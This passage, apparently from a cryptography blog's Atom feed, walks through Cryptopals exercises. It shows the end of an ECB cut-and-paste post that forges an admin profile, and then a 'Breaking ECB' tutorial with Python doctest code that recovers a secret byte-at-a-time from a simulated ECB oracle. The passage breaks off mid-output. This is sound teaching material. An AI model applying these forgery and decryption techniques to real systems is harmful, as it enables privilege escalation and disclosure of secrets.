&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;create_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;me-AAAAAAAAAAAAAAAAA@evil.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;role&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;uid&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;10&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/matasano/cut_and_paste_align_pasted.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/07/01/Cut-and-Paste-ECB-Blocks.html" rel="alternate" type="text/html" title="Cut and Paste ECB blocks"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="ECB" label="ECB"/>
    <category term="forgery" label="forgery"/>
    <category term="forge" label="forge"/>
    <published>2018-07-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/06/10/Breaking-ECB.html</id>
    <title>Breaking ECB</title>
    <updated>2018-06-10T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In the previous post we built &lt;a href="/articles/2018/06/09/ECB-CBC-Oracle.html"&gt;an ECB/CBC oracle&lt;/a&gt;; now it’s time to take this to the next level and break ECB &lt;a href="https://cryptopals.com/sets/2/challenges/14"&gt;one byte at time&lt;/a&gt;. &lt;!--more--&gt;&lt;/p&gt;
&lt;h3 id="generating-secrets"&gt;Generating secrets&lt;/h3&gt;
&lt;p&gt;We will use the same setup of the &lt;a href="/articles/2018/06/09/ECB-CBC-Oracle.html"&gt;previous post&lt;/a&gt; but this time, our objective will decrypt ECB without the key.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkluIGZhY3QsIHRoZXJlIGFyZSB0d28gY2hhbGxlbmdlczogdGhlCltzaW1wbGVdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8yL2NoYWxsZW5nZXMvMTIpCmFuZCB0aGUKW2hhcmRlcl0oaHR0cHM6Ly9jcnlwdG9wYWxzLmNvbS9zZXRzLzIvY2hhbGxlbmdlcy8xNCkKdmVyc2lvbnMuIFdlIHdpbGwgYnJlYWsgdGhlIGhhcmRlciBvZiBjb3Vyc2UuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkluIGZhY3QsIHRoZXJlIGFyZSB0d28gY2hhbGxlbmdlczogdGhlCltzaW1wbGVdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8yL2NoYWxsZW5nZXMvMTIpCmFuZCB0aGUKW2hhcmRlcl0oaHR0cHM6Ly9jcnlwdG9wYWxzLmNvbS9zZXRzLzIvY2hhbGxlbmdlcy8xNCkKdmVyc2lvbnMuIFdlIHdpbGwgYnJlYWsgdGhlIGhhcmRlciBvZiBjb3Vyc2UuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
In fact, there are two challenges: the &lt;a href="https://cryptopals.com/sets/2/challenges/12"&gt;simple&lt;/a&gt; and the &lt;a href="https://cryptopals.com/sets/2/challenges/14"&gt;harder&lt;/a&gt; versions. We will break the harder of course.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Remember that we will have a secret payload appended to the attacker-controlled plaintext and it is the objective for the &lt;a href="https://cryptopals.com/sets/2/challenges/14"&gt;byte-at-a-time ECB decryption challenge&lt;/a&gt;..&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;./posts/matasano/assets&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_bytes&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;challenge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;enc_ecb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20180610&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s1"&gt;&amp;#39;aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s1"&gt;&amp;#39;dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s1"&gt;&amp;#39;YnkK&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;posfix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# pick the random prefix and let it fixed (constant)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is our encryption oracle:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encryption_oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;partial_plaintext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# update the random attributes&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;block_size&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# prepend + append with two random strings; pad it later&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;partial_plaintext&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;posfix&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;enc_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="block-alignment"&gt;Block alignment&lt;/h3&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9icmVha19lY2JfbWlzYWxpZ25fYnkyLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+Cm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9icmVha19lY2JfbWlzYWxpZ25fYnkyLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+Cm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/matasano/break_ecb_misalign_by2.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The prepended payload is constant but it is still unknown to the us/adversary.&lt;/p&gt;
&lt;p&gt;Before proceed we need to know for how many bytes our attacker-controlled payload is misaligned.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9icmVha19lY2JfbWlzYWxpZ25fYnkxLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+Cm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9icmVha19lY2JfbWlzYWxpZ25fYnkxLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+Cm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/matasano/break_ecb_misalign_by1.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Basically we start with a plaintext of &lt;em&gt;twice&lt;/em&gt; the size of the block size and we add one byte at time.&lt;/p&gt;
&lt;p&gt;When we find two &lt;em&gt;consecutive&lt;/em&gt; cipher blocks that are the same, we are done.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9icmVha19lY2JfYWxpZ25lZC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9icmVha19lY2JfYWxpZ25lZC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/matasano/break_ecb_aligned.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The amount of extra bytes that we added is the answer.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encryption_oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has_duplicates&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;break&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt;
&lt;span class="mi"&gt;10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;alignment&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="get-the-penguin"&gt;Get the penguin!&lt;/h3&gt;
&lt;p&gt;Now, with our blocks aligned, we can set as our plaintext two identical blocks but the last one will have one byte less.&lt;/p&gt;
&lt;p&gt;This missing byte will be filled by the next &lt;em&gt;secret&lt;/em&gt; plaintext byte &lt;code class="none"&gt;?&lt;/code&gt;, unknown by us:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ecb_break_1_byte.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These two blocks will yield the same two cipher blocks only if the last byte of the first block (&lt;code class="none"&gt;x&lt;/code&gt;) is equal to the last byte of the second block (&lt;code class="none"&gt;?&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSBiZWF1dHkgb2YgdGhpcyBpcyB0aGF0IG5vIG1hdHRlciBpZiB0aGUga2V5IHVzZWQgdG8gZW5jcnlwdCBjaGFuZ2VzLAp0aGlzIHdpbGwgc3RpbGwgd29yayBhcyBsb25nIGFzIHRoZSBwbGFpbnRleHQgZG9lcyBub3QgY2hhbmdlLgoKRXZlbiBpZiB0aGUgbGVuZ3RoIG9mIHRoZSBwcmVmaXggKHBsYWludGV4dCAqYmVmb3JlKiBvdXIgY29udHJvbGxlZCBwYXJ0KQpjaGFuZ2VzLCBhcyBsb25nIGFzIGl0IGNoYW5nZXMgaW4gYSBzbWFsbCByYW5nZSwgaXQgaXMganVzdCBhIG1hdHRlciBvZgp0cnlpbmcgbW9yZSB0aW1lcy4KCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBiZWF1dHkgb2YgdGhpcyBpcyB0aGF0IG5vIG1hdHRlciBpZiB0aGUga2V5IHVzZWQgdG8gZW5jcnlwdCBjaGFuZ2VzLAp0aGlzIHdpbGwgc3RpbGwgd29yayBhcyBsb25nIGFzIHRoZSBwbGFpbnRleHQgZG9lcyBub3QgY2hhbmdlLgoKRXZlbiBpZiB0aGUgbGVuZ3RoIG9mIHRoZSBwcmVmaXggKHBsYWludGV4dCAqYmVmb3JlKiBvdXIgY29udHJvbGxlZCBwYXJ0KQpjaGFuZ2VzLCBhcyBsb25nIGFzIGl0IGNoYW5nZXMgaW4gYSBzbWFsbCByYW5nZSwgaXQgaXMganVzdCBhIG1hdHRlciBvZgp0cnlpbmcgbW9yZSB0aW1lcy4KCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The beauty of this is that no matter if the key used to encrypt changes, this will still work as long as the plaintext does not change.
&lt;br /&gt;&lt;br /&gt;
Even if the length of the prefix (plaintext &lt;em&gt;before&lt;/em&gt; our controlled part) changes, as long as it changes in a small range, it is just a matter of trying more times.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The first block (&lt;code class="none"&gt;aaax&lt;/code&gt;) is our &lt;em&gt;probe block&lt;/em&gt; used to probe and find the unknown byte &lt;code class="none"&gt;?&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The second &lt;em&gt;partial&lt;/em&gt; block (&lt;code class="none"&gt;aaa&lt;/code&gt;) is used to align the unknown plaintext so the &lt;em&gt;first unknown byte&lt;/em&gt; is in place at the end of this block, named as &lt;em&gt;align block&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;After found the value of &lt;code class="none"&gt;?&lt;/code&gt; we &lt;em&gt;shift&lt;/em&gt; the unknown plaintext on byte to the left and we continue breaking one byte at time.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ecb_break_2_byte.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After breaking &lt;code class="none"&gt;block_size&lt;/code&gt; bytes, we cannot shift to the left further.&lt;/p&gt;
&lt;p&gt;But what we can do is to add an extra block: the probe block will not be testing its next block but the block that is 1 block to the right:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ecb_break_n_byte.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The following is an implementation of the previous algorithm from &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt; that breaks the ECB cipher using a oracle.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks.block_ciphers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;decrypt_ecb_tail&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt_ecb_tail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alignment&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encryption_oracle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# byexample: +timeout 10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;   &lt;span class="c1"&gt;# byexample: +norm-ws&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;Rollin&amp;#39; in my 5.0&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;With my rag-top down so my hair can blow&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;The girlies on&lt;/span&gt;
